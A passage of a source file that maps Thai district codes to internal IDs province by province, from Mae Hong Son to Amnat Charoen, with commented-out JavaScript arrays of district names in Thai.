{ 5801, 471 }, // เมืองแม่ฮ่องสอน
{ 5802, 472 }, // ขุนยวม
{ 5803, 473 }, // ปาย
{ 5804, 474 }, // แม่สะเรียง
{ 5805, 475 }, // แม่ลาน้อย
{ 5806, 476 }, // สบเมย
{ 5807, 477 }, // ปางมะผ้า
#endregion Mae Hong Son
#region Yasothon
//AMP[44][0]=new Array('-- อำเภอ --','อำเภอเมืองยโสธร' ,'อำเภอทรายมูล' ,'อำเภอกุดชุม' ,'อำเภอคำเขื่อนแก้ว' ,'อำเภอป่าติ้ว' ,'อำเภอมหาชนะชัย' ,'อำเภอค้อวัง' ,'อำเภอเลิงนกทา' ,'อำเภอไทยเจริญ' );
//AMP[44][1]= new Array('-1','478' ,'479' ,'480' ,'481' ,'482' ,'483' ,'484' ,'485' ,'486' );
{ 3501, 478 }, // เมืองยโสธร
{ 3502, 479 }, // ทรายมูล
{ 3503, 480 }, // กุดชุม
{ 3504, 481 }, // คำเขื่อนแก้ว
{ 3505, 482 }, // ป่าติ้ว
{ 3506, 483 }, // มหาชนะชัย
{ 3507, 484 }, // ค้อวัง
{ 3508, 485 }, // เลิงนกทา
{ 3509, 486 }, // ไทยเจริญ
#endregion Yasothon
#region Yala
//AMP[45][0]=new Array('-- อำเภอ --','อำเภอเมืองยะลา' ,'อำเภอเบตง' ,'อำเภอบันนังสตา' ,'อำเภอธารโต' ,'อำเภอยะหา' ,'อำเภอรามัน' ,'อำเภอกรงปีนัง' ,'อำเภอกาบัง' );
//AMP[45][1]= new Array('-1','487' ,'488' ,'489' ,'490' ,'491' ,'492' ,'493' ,'494' );
{ 9501, 487 }, // เมืองยะลา
{ 9502, 488 }, // เบตง
{ 9503, 489 }, // บันนังสตา
{ 9504, 490 }, // ธารโต
{ 9505, 491 }, // ยะหา
{ 9506, 492 }, // รามัน
{ 9507, 494 }, // กาบัง
{ 9508, 493 }, // กรงปินัง
#endregion Yala
#region Roi Et
//AMP[46][0]=new Array('-- อำเภอ --','อำเภอเมืองร้อยเอ็ด' ,'อำเภอจตุรพักตรพิมาน' ,'อำเภอธวัชบุรี' ,'อำเภอพนมไพร' ,'อำเภอโพนทอง' ,'อำเภอโพธิ์ชัย' ,'อำเภอหนองพอก' ,'อำเภอเสลภูมิ' ,'อำเภอสุวรรณภูมิ' ,'อำเภอเมืองสรวง' ,'อำเภอโพนทราย' ,'อำเภออาจสามารถ' ,'อำเภอเมยวดี' ,'อำเภอศรีสมเด็จ' ,'อำเภอจังหาร' ,'อำเภอปทุมรัตต์' ,'อำเภอเกษตรวิสัย' ,'กิ่งอำเภอเชียงขวัญ' ,'กิ่งอำเภอหนองฮี' ,'กิ่งอำเภอทุ่งเขาหลวง' );
//AMP[46][1]= new Array('-1','495' ,'496' ,'497' ,'498' ,'499' ,'500' ,'501' ,'502' ,'503' ,'504' ,'505' ,'506' ,'507' ,'508' ,'509' ,'510' ,'511' ,'872' ,'873' ,'874' );
{ 4501, 495 }, // เมืองร้อยเอ็ด
{ 4502, 511 }, // เกษตรวิสัย
{ 4503, 510 }, // ปทุมรัตต์
{ 4504, 496 }, // จตุรพักตรพิมาน
{ 4505, 497 }, // ธวัชบุรี
{ 4506, 498 }, // พนมไพร
{ 4507, 499 }, // โพนทอง
{ 4508, 500 }, // โพธิ์ชัย
{ 4509, 501 }, // หนองพอก
{ 4510, 502 }, // เสลภูมิ
{ 4511, 503 }, // สุวรรณภูมิ
{ 4512, 504 }, // เมืองสรวง
{ 4513, 505 }, // โพนทราย
{ 4514, 506 }, // อาจสามารถ
{ 4515, 507 }, // เมยวดี
{ 4516, 508 }, // ศรีสมเด็จ
{ 4517, 509 }, // จังหาร
{ 4518, 872 }, // เชียงขวัญ
{ 4519, 873 }, // หนองฮี
{ 4520, 874 }, // ทุ่งเขาหลวง
#endregion Roi Et
#region Ranong
//AMP[47][0]=new Array('-- อำเภอ --','อำเภอเมืองระนอง' ,'อำเภอละอุ่น' ,'อำเภอกะเปอร์' ,'อำเภอกระบุรี' ,'กิ่งอำเภอสุขสำราญ (กะเปอร์)' );
//AMP[47][1]= new Array('-1','512' ,'513' ,'514' ,'515' ,'516' );
{ 8501, 512 }, // เมืองระนอง
{ 8502, 513 }, // ละอุ่น
{ 8503, 514 }, // กะเปอร์
{ 8504, 515 }, // กระบุรี
{ 8505, 516 }, // สุขสำราญ
#endregion Ranong
#region Rayong
//AMP[48][0]=new Array('-- อำเภอ --','อำเภอเมืองระยอง' ,'อำเภอบ้านค่าย' ,'อำเภอปลวกแดง' ,'อำเภอเขาชะเมา' ,'อำเภอนิคมพัฒนา' ,'อำเภอแกลง' ,'อำเภอบ้านฉาง' ,'อำเภอวังจันทร์' );
//AMP[48][1]= new Array('-1','517' ,'518' ,'519' ,'520' ,'521' ,'522' ,'523' ,'524' );
{ 2101, 517 }, // เมืองระยอง
{ 2102, 523 }, // บ้านฉาง
{ 2103, 522 }, // แกลง
{ 2104, 524 }, // วังจันทร์
{ 2105, 518 }, // บ้านค่าย
{ 2106, 519 }, // ปลวกแดง
{ 2107, 520 }, // เขาชะเมา
{ 2108, 521 }, // นิคมพัฒนา
#endregion Rayong
#region Ratchaburi
//AMP[49][0]=new Array('-- อำเภอ --','อำเภอเมืองราชบุรี' ,'อำเภอจอมบึง' ,'อำเภอสวนผึ้ง' ,'อำเภอดำเนินสะดวก' ,'อำเภอบ้านโป่ง' ,'อำเภอบางแพ' ,'อำเภอโพธาราม' ,'อำเภอปากท่อ' ,'อำเภอวัดเพลง' ,'อำเภอบ้านคา' );
//AMP[49][1]= new Array('-1','525' ,'526' ,'527' ,'528' ,'529' ,'530' ,'531' ,'532' ,'533' ,'534' );
{ 7001, 525 }, // เมืองราชบุรี
{ 7002, 526 }, // จอมบึง
{ 7003, 527 }, // สวนผึ้ง
{ 7004, 528 }, // ดำเนินสะดวก
{ 7005, 529 }, // บ้านโป่ง
{ 7006, 530 }, // บางแพ
{ 7007, 531 }, // โพธาราม
{ 7008, 532 }, // ปากท่อ
{ 7009, 533 }, // วัดเพลง
{ 7010, 534 }, // บ้านคา
#endregion Ratchaburi
#region Lopburi
//AMP[50][0]=new Array('-- อำเภอ --','อำเภอเมืองลพบุรี' ,'อำเภอพัฒนานิคม' ,'อำเภอโคกสำโรง' ,'อำเภอหนองม่วง' ,'อำเภอสระโบสถ์' ,'อำเภอโคกเจริญ' ,'อำเภอชัยบาดาล' ,'อำเภอลำสนธิ' ,'อำเภอท่าหลวง' ,'อำเภอท่าวุ้ง' ,'อำเภอบ้านหมี่' );
//AMP[50][1]= new Array('-1','535' ,'536' ,'537' ,'538' ,'539' ,'540' ,'541' ,'542' ,'543' ,'544' ,'545' );
{ 1601, 535 }, // เมืองลพบุรี
{ 1602, 536 }, // พัฒนานิคม
{ 1603, 537 }, // โคกสำโรง
{ 1604, 541 }, // ชัยบาดาล
{ 1605, 544 }, // ท่าวุ้ง
{ 1606, 545 }, // บ้านหมี่
{ 1607, 543 }, // ท่าหลวง
{ 1608, 539 }, // สระโบสถ์
{ 1609, 540 }, // โคกเจริญ
{ 1610, 542 }, // ลำสนธิ
{ 1611, 538 }, // หนองม่วง
#endregion Lopburi
#region Lampang
//AMP[51][0]=new Array('-- อำเภอ --','อำเภอเมืองลำปาง' ,'อำเภอแม่เมาะ' ,'อำเภอเกาะคา' ,'อำเภอเสริมงาม' ,'อำเภองาว' ,'อำเภอแจ้ห่ม' ,'อำเภอวังเหนือ' ,'อำเภอเถิน' ,'อำเภอแม่พริก' ,'อำเภอแม่ทะ' ,'อำเภอสบปราบ' ,'อำเภอห้างฉัตร' ,'อำเภอเมืองปาน' );
//AMP[51][1]= new Array('-1','546' ,'547' ,'548' ,'549' ,'550' ,'551' ,'552' ,'553' ,'554' ,'555' ,'556' ,'557' ,'558' );
{ 5201, 546 }, // เมืองลำปาง
{ 5202, 547 }, // แม่เมาะ
{ 5203, 548 }, // เกาะคา
{ 5204, 549 }, // เสริมงาม
{ 5205, 550 }, // งาว
{ 5206, 551 }, // แจ้ห่ม
{ 5207, 552 }, // วังเหนือ
{ 5208, 553 }, // เถิน
{ 5209, 554 }, // แม่พริก
{ 5210, 555 }, // แม่ทะ
{ 5211, 556 }, // สบปราบ
{ 5212, 557 }, // ห้างฉัตร
{ 5213, 558 }, // เมืองปาน
#endregion Lampang
#region Lamphun
//AMP[52][0]=new Array('-- อำเภอ --','อำเภอเมืองลำพูน' ,'อำเภอทุ่งหัวช้าง' ,'อำเภอป่าซาง' ,'อำเภอบ้านธิ' ,'อำเภอลี้' ,'อำเภอแม่ทา' ,'อำเภอบ้านโฮ่ง' ,'กิ่งอำเภอเวียงหนองล่อง' );
//AMP[52][1]= new Array('-1','559' ,'560' ,'561' ,'562' ,'563' ,'564' ,'565' ,'848' );
{ 5101, 559 }, // เมืองลำพูน
{ 5102, 564 }, // แม่ทา
{ 5103, 565 }, // บ้านโฮ่ง
{ 5104, 563 }, // ลี้
{ 5105, 560 }, // ทุ่งหัวช้าง
{ 5106, 561 }, // ป่าซาง
{ 5107, 562 }, // บ้านธิ
{ 5108, 848 }, // เวียงหนองล่อง
#endregion Lamphun
#region Loei
//AMP[53][0]=new Array('-- อำเภอ --','อำเภอเมืองเลย' ,'อำเภอนาด้วง' ,'อำเภอเชียงคาน' ,'อำเภอปากชม' ,'อำเภอด่านซ้าย' ,'อำเภอนาแห้ว' ,'อำเภอภูเรือ' ,'อำเภอท่าลี่' ,'อำเภอวังสะพุง' ,'อำเภอภูกระดึง' ,'อำเภอภูหลวง' ,'อำเภอผาขาว' ,'กิ่งอำเภอเอราวัณ' ,'กิ่งอำเภอหนองหิน' );
//AMP[53][1]= new Array('-1','566' ,'567' ,'568' ,'569' ,'570' ,'571' ,'572' ,'573' ,'574' ,'575' ,'576' ,'577' ,'875' ,'876' );
{ 4201, 566 }, // เมืองเลย
{ 4202, 567 }, // นาด้วง
{ 4203, 568 }, // เชียงคาน
{ 4204, 569 }, // ปากชม
{ 4205, 570 }, // ด่านซ้าย
{ 4206, 571 }, // นาแห้ว
{ 4207, 572 }, // ภูเรือ
{ 4208, 573 }, // ท่าลี่
{ 4209, 574 }, // วังสะพุง
{ 4210, 575 }, // ภูกระดึง
{ 4211, 576 }, // ภูหลวง
{ 4212, 577 }, // ผาขาว
{ 4213, 875 }, // เอราวัณ
{ 4214, 876 }, // หนองหิน
#endregion Loei
#region Si Sa Ket
//AMP[54][0]=new Array('-- อำเภอ --','อำเภอเมืองศรีสะเกษ' ,'อำเภอยางชุมน้อย' ,'อำเภอกันทรารมย์' ,'อำเภอกันทราลักษ์' ,'อำเภอขุขันธ์' ,'อำเภอไพรบึง' ,'อำเภอปรางค์กู่' ,'อำเภอขุนหาญ' ,'อำเภอราศีไศล' ,'อำเภออุทุมพรพิสัย' ,'อำเภอบึงบูรพ์' ,'อำเภอห้วยทับทัน' ,'อำเภอโนนคูน' ,'อำเภอศรีรัตนะ' ,'อำเภอน้ำเกลี้ยง' ,'อำเภอวังหิน' ,'อำเภอภูสิงห์' ,'อำเภอเมืองจันทร์' ,'อำเภอเบญจลักษณ์' ,'อำเภอพยุห์' ,'กิ่งอำเภอโพธิ์ศรีสุวรรณ' ,'กิ่งอำเภอศิลาลาด' );
//AMP[54][1]= new Array('-1','578' ,'579' ,'580' ,'581' ,'582' ,'583' ,'584' ,'585' ,'586' ,'587' ,'588' ,'589' ,'590' ,'591' ,'592' ,'593' ,'594' ,'595' ,'596' ,'597' ,'877' ,'878' );
{ 3301, 578 }, // เมืองศรีสะเกษ
{ 3302, 579 }, // ยางชุมน้อย
{ 3303, 580 }, // กันทรารมย์
{ 3304, 581 }, // กันทรลักษ์
{ 3305, 582 }, // ขุขันธ์
{ 3306, 583 }, // ไพรบึง
{ 3307, 584 }, // ปรางค์กู่
{ 3308, 585 }, // ขุนหาญ
{ 3309, 586 }, // ราษีไศล
{ 3310, 587 }, // อุทุมพรพิสัย
{ 3311, 588 }, // บึงบูรพ์
{ 3312, 589 }, // ห้วยทับทัน
{ 3313, 590 }, // โนนคูณ
{ 3314, 591 }, // ศรีรัตนะ
{ 3315, 592 }, // น้ำเกลี้ยง
{ 3316, 593 }, // วังหิน
{ 3317, 594 }, // ภูสิงห์
{ 3318, 595 }, // เมืองจันทร์
{ 3319, 596 }, // เบญจลักษ์
{ 3320, 597 }, // พยุห์
{ 3321, 877 }, // โพธิ์ศรีสุวรรณ
{ 3322, 878 }, // ศิลาลาด
#endregion Si Sa Ket
#region Sakon Nakhon
//AMP[55][0]=new Array('-- อำเภอ --','อำเภอเมืองสกลนคร' ,'อำเภอกุสุมาลย์' ,'อำเภอกุดบาก' ,'อำเภอพรรณนานิคม' ,'อำเภอพังโคน' ,'อำเภอวาริชภูมิ' ,'อำเภอนิคมน้ำอูน' ,'อำเภอวานรนิวาส' ,'อำเภอคำตากล้า' ,'อำเภอบ้านม่วง' ,'อำเภออากาศอำนวย' ,'อำเภอสว่างแดนดิน' ,'อำเภอส่องดาว' ,'อำเภอเต่างอย' ,'อำเภอโคกศรีสุพรรณ' ,'อำเภอเจริญศิลป์' ,'อำเภอโพนนาแก้ว' ,'อำเภอภูพาน' );
//AMP[55][1]= new Array('-1','598' ,'599' ,'600' ,'601' ,'602' ,'603' ,'604' ,'605' ,'606' ,'607' ,'608' ,'609' ,'610' ,'611' ,'612' ,'613' ,'614' ,'615' );
{ 4701, 598 }, // เมืองสกลนคร
{ 4702, 599 }, // กุสุมาลย์
{ 4703, 600 }, // กุดบาก
{ 4704, 601 }, // พรรณานิคม
{ 4705, 602 }, // พังโคน
{ 4706, 603 }, // วาริชภูมิ
{ 4707, 604 }, // นิคมน้ำอูน
{ 4708, 605 }, // วานรนิวาส
{ 4709, 606 }, // คำตากล้า
{ 4710, 607 }, // บ้านม่วง
{ 4711, 608 }, // อากาศอำนวย
{ 4712, 609 }, // สว่างแดนดิน
{ 4713, 610 }, // ส่องดาว
{ 4714, 611 }, // เต่างอย
{ 4715, 612 }, // โคกศรีสุพรรณ
{ 4716, 613 }, // เจริญศิลป์
{ 4717, 614 }, // โพนนาแก้ว
{ 4718, 615 }, // ภูพาน
#endregion Sakon Nakhon
#region Songkhla
//AMP[56][0]=new Array('-- อำเภอ --','อำเภอเมืองสงขลา' ,'อำเภอสทิงพระ' ,'อำเภอจะนะ' ,'อำเภอนาทวี' ,'อำเภอเทพา' ,'อำเภอสะบ้าย้อย' ,'อำเภอระโนด' ,'อำเภอกระแสสินธ์' ,'อำเภอรัตภูมิ' ,'อำเภอสะเดา' ,'อำเภอหาดใหญ่' ,'อำเภอนาหม่อม' ,'อำเภอควนเนียง' ,'อำเภอบางกล่ำ' ,'อำเภอสิงหนคร' ,'อำเภอคลองหอยโข่ง' );
//AMP[56][1]= new Array('-1','616' ,'617' ,'618' ,'619' ,'620' ,'621' ,'622' ,'623' ,'624' ,'625' ,'626' ,'627' ,'628' ,'629' ,'630' ,'631' );
{ 9001, 616 }, // เมืองสงขลา
{ 9002, 617 }, // สทิงพระ
{ 9003, 618 }, // จะนะ
{ 9004, 619 }, // นาทวี
{ 9005, 620 }, // เทพา
{ 9006, 621 }, // สะบ้าย้อย
{ 9007, 622 }, // ระโนด
{ 9008, 623 }, // กระแสสินธุ์
{ 9009, 624 }, // รัตภูมิ
{ 9010, 625 }, // สะเดา
{ 9011, 626 }, // หาดใหญ่
{ 9012, 627 }, // นาหม่อม
{ 9013, 628 }, // ควนเนียง
{ 9014, 629 }, // บางกล่ำ
{ 9015, 630 }, // สิงหนคร
{ 9016, 631 }, // คลองหอยโข่ง
#endregion Songkhla
#region Satun
//AMP[57][0]=new Array('-- อำเภอ --','อำเภอเมืองสตูล' ,'อำเภอควนโดน' ,'อำเภอควนกาหลง' ,'อำเภอท่าแพ' ,'อำเภอละงู' ,'อำเภอทุ่งหว้า' ,'กิ่งอำเภอมะนัง (ควนกาหลง)' );
//AMP[57][1]= new Array('-1','632' ,'633' ,'634' ,'635' ,'636' ,'637' ,'638' );
{ 9101, 632 }, // เมืองสตูล
{ 9102, 633 }, // ควนโดน
{ 9103, 634 }, // ควนกาหลง
{ 9104, 635 }, // ท่าแพ
{ 9105, 636 }, // ละงู
{ 9106, 637 }, // ทุ่งหว้า
{ 9107, 638 }, // มะนัง
#endregion Satun
#region Samut Prakan
//AMP[58][0]=new Array('-- อำเภอ --','อำเภอเมืองสมุทรปราการ' ,'อำเภอบางบ่อ' ,'อำเภอบางพลี' ,'อำเภอพระประแดง' ,'อำเภอพระสมุทรเจดีย์' ,'กิ่งอำเภอบางเสาธง' );
//AMP[58][1]= new Array('-1','639' ,'640' ,'641' ,'642' ,'643' ,'644' );
{ 1101, 639 }, // เมืองสมุทรปราการ
{ 1102, 640 }, // บางบ่อ
{ 1103, 641 }, // บางพลี
{ 1104, 642 }, // พระประแดง
{ 1105, 643 }, // พระสมุทรเจดีย์
{ 1106, 644 }, // บางเสาธง
#endregion Samut Prakan
#region Samut Songkhram
//AMP[59][0]=new Array('-- อำเภอ --','อำเภอเมืองสมุทรสงคราม' ,'อำเภอบางคนที' ,'อำเภออัมพวา' );
//AMP[59][1]= new Array('-1','645' ,'646' ,'647' );
{ 7501, 645 }, // เมืองสมุทรสงคราม
{ 7502, 646 }, // บางคนที
{ 7503, 647 }, // อัมพวา
#endregion Samut Songkhram
#region Samut Sakhon
//AMP[60][0]=new Array('-- อำเภอ --','อำเภอเมืองสมุทรสาคร' ,'อำเภอกระทุ่มแบน' ,'อำเภอบ้านแพ้ว' );
//AMP[60][1]= new Array('-1','648' ,'649' ,'650' );
{ 7401, 648 }, // เมืองสมุทรสาคร
{ 7402, 649 }, // กระทุ่มแบน
{ 7403, 650 }, // บ้านแพ้ว
#endregion Samut Sakhon
#region Sa Kaeo
//AMP[61][0]=new Array('-- อำเภอ --','อำเภอเมืองสระแก้ว' ,'อำเภอคลองหาด' ,'อำเภอตาพระยา' ,'อำเภอวังน้ำเย็น' ,'อำเภอวัฒนานคร' ,'อำเภออรัญประเทศ' ,'อำเภอโคกสูง' ,'อำเภอเขาฉกรรจ์' ,'กิ่งอำเภอวังสมบูรณ์' );
//AMP[61][1]= new Array('-1','651' ,'652' ,'653' ,'654' ,'655' ,'656' ,'657' ,'658' ,'659' );
{ 2701, 651 }, // เมืองสระแก้ว
{ 2702, 652 }, // คลองหาด
{ 2703, 653 }, // ตาพระยา
{ 2704, 654 }, // วังน้ำเย็น
{ 2705, 655 }, // วัฒนานคร
{ 2706, 656 }, // อรัญประเทศ
{ 2707, 658 }, // เขาฉกรรจ์
{ 2708, 657 }, // โคกสูง
{ 2709, 659 }, // วังสมบูรณ์
#endregion Sa Kaeo
#region Saraburi
//AMP[62][0]=new Array('-- อำเภอ --','อำเภอเมืองสระบุรี' ,'อำเภอแก่งคอย' ,'อำเภอหนองแค' ,'อำเภอวิหารแดง' ,'อำเภอหนองแซง' ,'อำเภอบ้านหมอ' ,'อำเภอดอนพุต' ,'อำเภอหนองโดน' ,'อำเภอพระพุทธบาท' ,'อำเภอเสาไห้' ,'อำเภอมวกเหล็ก' ,'อำเภอวังม่วง' ,'อำเภอเฉลิมพระเกียรติ' );
//AMP[62][1]= new Array('-1','660' ,'661' ,'662' ,'663' ,'664' ,'665' ,'666' ,'667' ,'668' ,'669' ,'670' ,'671' ,'672' );
{ 1901, 660 }, // เมืองสระบุรี
{ 1902, 661 }, // แก่งคอย
{ 1903, 662 }, // หนองแค
{ 1904, 663 }, // วิหารแดง
{ 1905, 664 }, // หนองแซง
{ 1906, 665 }, // บ้านหมอ
{ 1907, 666 }, // ดอนพุด
{ 1908, 667 }, // หนองโดน
{ 1909, 668 }, // พระพุทธบาท
{ 1910, 669 }, // เสาไห้
{ 1911, 670 }, // มวกเหล็ก
{ 1912, 671 }, // วังม่วง
{ 1913, 672 }, // เฉลิมพระเกียรติ
#endregion Saraburi
#region Singburi
//AMP[63][0]=new Array('-- อำเภอ --','อำเภอเมืองสิงห์บุรี' ,'อำเภอบางระจัน' ,'อำเภอค่ายบางระจัน' ,'อำเภอพรหมบุรี' ,'อำเภอท่าช้าง' ,'อำเภออินทร์บุรี' );
//AMP[63][1]= new Array('-1','673' ,'674' ,'675' ,'676' ,'677' ,'678' );
{ 1701, 673 }, // เมืองสิงห์บุรี
{ 1702, 674 }, // บางระจัน
{ 1703, 675 }, // ค่ายบางระจัน
{ 1704, 676 }, // พรหมบุรี
{ 1705, 677 }, // ท่าช้าง
{ 1706, 678 }, // อินทร์บุรี
#endregion Singburi
#region Sukhothai
//AMP[64][0]=new Array('-- อำเภอ --','อำเภอเมืองสุโขทัย' ,'อำเภอบ้านด่านลานหอย' ,'อำเภอคีรีมาศ' ,'อำเภอกงไกรลาศ' ,'อำเภอศรีสัชนาลัย' ,'อำเภอศรีสำโรง' ,'อำเภอสวรรคโลก' ,'อำเภอศรีนคร' ,'อำเภอทุ่งเสลี่ยม' );
//AMP[64][1]= new Array('-1','679' ,'680' ,'681' ,'682' ,'683' ,'684' ,'685' ,'686' ,'687' );
{ 6401, 679 }, // เมืองสุโขทัย
{ 6402, 680 }, // บ้านด่านลานหอย
{ 6403, 681 }, // คีรีมาศ
{ 6404, 682 }, // กงไกรลาศ
{ 6405, 683 }, // ศรีสัชนาลัย
{ 6406, 684 }, // ศรีสำโรง
{ 6407, 685 }, // สวรรคโลก
{ 6408, 686 }, // ศรีนคร
{ 6409, 687 }, // ทุ่งเสลี่ยม
#endregion Sukhothai
#region Suphanburi
//AMP[65][0]=new Array('-- อำเภอ --','อำเภอเมืองสุพรรณบุรี' ,'อำเภอเดิมบางนางบวช' ,'อำเภอด่านช้าง' ,'อำเภอบางปลาม้า' ,'อำเภอศรีประจันต์' ,'อำเภอดอนเจดีย์' ,'อำเภอสองพี่น้อง' ,'อำเภอสามชุก' ,'อำเภออู่ทอง' ,'อำเภอหนองหญ้าไซ' );
//AMP[65][1]= new Array('-1','688' ,'689' ,'690' ,'691' ,'692' ,'693' ,'694' ,'695' ,'696' ,'697' );
{ 7201, 688 }, // เมืองสุพรรณบุรี
{ 7202, 689 }, // เดิมบางนางบวช
{ 7203, 690 }, // ด่านช้าง
{ 7204, 691 }, // บางปลาม้า
{ 7205, 692 }, // ศรีประจันต์
{ 7206, 693 }, // ดอนเจดีย์
{ 7207, 694 }, // สองพี่น้อง
{ 7208, 695 }, // สามชุก
{ 7209, 696 }, // อู่ทอง
{ 7210, 697 }, // หนองหญ้าไซ
#endregion Suphanburi
#region Surat Thani
//AMP[66][0]=new Array('-- อำเภอ --','อำเภอเมืองสุราษฎร์ธานี' ,'อำเภอท่าชนะ' ,'อำเภอคีรีรัฐนิคม' ,'อำเภอบ้านตาขุน' ,'อำเภอพนม' ,'อำเภอท่าฉาง' ,'อำเภอบ้านนาสาร' ,'อำเภอบ้านนาเดิม' ,'อำเภอเคียนซา' ,'อำเภอเวียงสระ' ,'อำเภอพระแสง' ,'อำเภอพุนพิน' ,'อำเภอชัยบุรี' ,'อำเภอดอนสัก' ,'อำเภอเกาะสมุย' ,'อำเภอไชยา' ,'อำเภอกาญจนดิษฐ์' ,'อำเภอเกาะพะงัน' ,'กิ่งอำเภอวิภาวดี (คีรีรัฐนิคม)' );
//AMP[66][1]= new Array('-1','698' ,'699' ,'700' ,'701' ,'702' ,'703' ,'704' ,'705' ,'706' ,'707' ,'708' ,'709' ,'710' ,'711' ,'712' ,'713' ,'714' ,'715' ,'716' );
{ 8401, 698 }, // เมืองสุราษฎร์ธานี
{ 8402, 714 }, // กาญจนดิษฐ์
{ 8403, 711 }, // ดอนสัก
{ 8404, 712 }, // เกาะสมุย
{ 8405, 715 }, // เกาะพะงัน
{ 8406, 713 }, // ไชยา
{ 8407, 699 }, // ท่าชนะ
{ 8408, 700 }, // คีรีรัฐนิคม
{ 8409, 701 }, // บ้านตาขุน
{ 8410, 702 }, // พนม
{ 8411, 703 }, // ท่าฉาง
{ 8412, 704 }, // บ้านนาสาร
{ 8413, 705 }, // บ้านนาเดิม
{ 8414, 706 }, // เคียนซา
{ 8415, 707 }, // เวียงสระ
{ 8416, 708 }, // พระแสง
{ 8417, 709 }, // พุนพิน
{ 8418, 710 }, // ชัยบุรี
{ 8419, 716 }, // วิภาวดี
#endregion Surat Thani
#region Surin
//AMP[67][0]=new Array('-- อำเภอ --','อำเภอเมืองสุรินทร์' ,'อำเภอชุมพลบุรี' ,'อำเภอท่าตูม' ,'อำเภอจอมพระ' ,'อำเภอปราสาท' ,'อำเภอกาบเชิง' ,'อำเภอรัตนบุรี' ,'อำเภอสนม' ,'อำเภอศรีขรภูมิ' ,'อำเภอสังขะ' ,'อำเภอลำดวน' ,'อำเภอสำโรงทาบ' ,'อำเภอบัวเชด' ,'กิ่งอำเภอพนมดงรัก' ,'กิ่งอำเภอศรีณรงค์' ,'กิ่งอำเภอเขวาสินรินทร์' ,'กิ่งอำเภอโนนนารายณ์' );
//AMP[67][1]= new Array('-1','717' ,'718' ,'719' ,'720' ,'721' ,'722' ,'723' ,'724' ,'725' ,'726' ,'727' ,'728' ,'729' ,'730' ,'731' ,'732' ,'733' );
{ 3201, 717 }, // เมืองสุรินทร์
{ 3202, 718 }, // ชุมพลบุรี
{ 3203, 719 }, // ท่าตูม
{ 3204, 720 }, // จอมพระ
{ 3205, 721 }, // ปราสาท
{ 3206, 722 }, // กาบเชิง
{ 3207, 723 }, // รัตนบุรี
{ 3208, 724 }, // สนม
{ 3209, 725 }, // ศีขรภูมิ
{ 3210, 726 }, // สังขะ
{ 3211, 727 }, // ลำดวน
{ 3212, 728 }, // สำโรงทาบ
{ 3213, 729 }, // บัวเชด
{ 3214, 730 }, // พนมดงรัก
{ 3215, 731 }, // ศรีณรงค์
{ 3216, 732 }, // เขวาสินรินทร์
{ 3217, 733 }, // โนนนารายณ์
#endregion Surin
#region Nong Khai
//AMP[68][0]=new Array('-- อำเภอ --','อำเภอเมืองหนองคาย' ,'อำเภอท่าบ่อ' ,'อำเภอบึงกาฬ' ,'อำเภอพรเจริญ' ,'อำเภอโพนพิสัย' ,'อำเภอโซ่พิสัย' ,'อำเภอศรีเชียงใหม่' ,'อำเภอสังคม' ,'อำเภอเซกา' ,'อำเภอปากคาด' ,'อำเภอบึงโขงหลง' ,'อำเภอศรีวิไล' ,'อำเภอบุ้งคล้า' ,'กิ่งอำเภอสระใคร' ,'กิ่งอำเภอเฝ้าไร่' ,'กิ่งอำเภอรัตนวาปี' ,'กิ่งอำเภอโพธิ์ตาก' );
//AMP[68][1]= new Array('-1','734' ,'735' ,'736' ,'737' ,'738' ,'739' ,'740' ,'741' ,'742' ,'743' ,'744' ,'745' ,'746' ,'747' ,'748' ,'749' ,'750' );
{ 4301, 734 }, // เมืองหนองคาย
{ 4302, 735 }, // ท่าบ่อ
{ 4303, 736 }, // บึงกาฬ
{ 4304, 737 }, // พรเจริญ
{ 4305, 738 }, // โพนพิสัย
{ 4306, 739 }, // โซ่พิสัย
{ 4307, 740 }, // ศรีเชียงใหม่
{ 4308, 741 }, // สังคม
{ 4309, 742 }, // เซกา
{ 4310, 743 }, // ปากคาด
{ 4311, 744 }, // บึงโขงหลง
{ 4312, 745 }, // ศรีวิไล
{ 4313, 746 }, // บุ่งคล้า
{ 4314, 747 }, // สระใคร
{ 4315, 748 }, // เฝ้าไร่
{ 4316, 749 }, // รัตนวาปี
{ 4317, 750 }, // โพธิ์ตาก
#endregion Nong Khai
#region Nong Bua Lam Phu
//AMP[69][0]=new Array('-- อำเภอ --','อำเภอเมืองหนองบัวลำภู' ,'อำเภอนากลาง' ,'อำเภอโนนสัง' ,'อำเภอศรีบุญเรือง' ,'อำเภอสุวรรณคูหา' ,'อำเภอนาวัง' );
//AMP[69][1]= new Array('-1','751' ,'752' ,'753' ,'754' ,'755' ,'756' );
{ 3901, 751 }, // เมืองหนองบัวลำภู
{ 3902, 752 }, // นากลาง
{ 3903, 753 }, // โนนสัง
{ 3904, 754 }, // ศรีบุญเรือง
{ 3905, 755 }, // สุวรรณคูหา
{ 3906, 756 }, // นาวัง
#endregion Nong Bua Lam Phu
#region Ang Thong
//AMP[70][0]=new Array('-- อำเภอ --','อำเภอเมืองอ่างทอง' ,'อำเภอไชโย' ,'อำเภอป่าโมก' ,'อำเภอโพธิ์ทอง' ,'อำเภอแสวงหา' ,'อำเภอวิเศษชัยชาญ' ,'อำเภอสามโก้' );
//AMP[70][1]= new Array('-1','757' ,'758' ,'759' ,'760' ,'761' ,'762' ,'763' );
{ 1501, 757 }, // ไชโย
{ 1502, 758 }, // ไชโย
{ 1503, 759 }, // ป่าโมก
{ 1504, 760 }, // โพธิ์ทอง
{ 1505, 761 }, // แสวงหา
{ 1506, 762 }, // วิเศษชัยชาญ
{ 1507, 763 }, // สามโก้
#endregion Ang Thong
#region Amnat Charoen
//AMP[71][0]=new Array('-- อำเภอ --','อำเภอเมืองอำนาจเจริญ' ,'อำเภอหัวตะพาน' ,'อำเภอลืออำนาจ' ,'อำเภอเสนางคนิคม' ,'อำเภอชานุมาน' ,'อำเภอปทุมราชวงศา' ,'อำเภอพนา' );
//AMP[71][1]= new Array('-1','764' ,'765' ,'766' ,'767' ,'768' ,'769' ,'770' );
{ 3701, 764}, // เมืองอำนาจเจริญ
{ 3702, 768}, // ชานุมาน
{ 3703, 769}, // ปทุมราชวงศา
{ 3704, 770}, // พนา
{ 3705, 767}, // เสนางคนิคม
{ 3706, 765}, // หัวตะพาน
{ 3707, 766}, // ลืออำนาจ
#endregion Amnat Charoen
#region Udon Thani
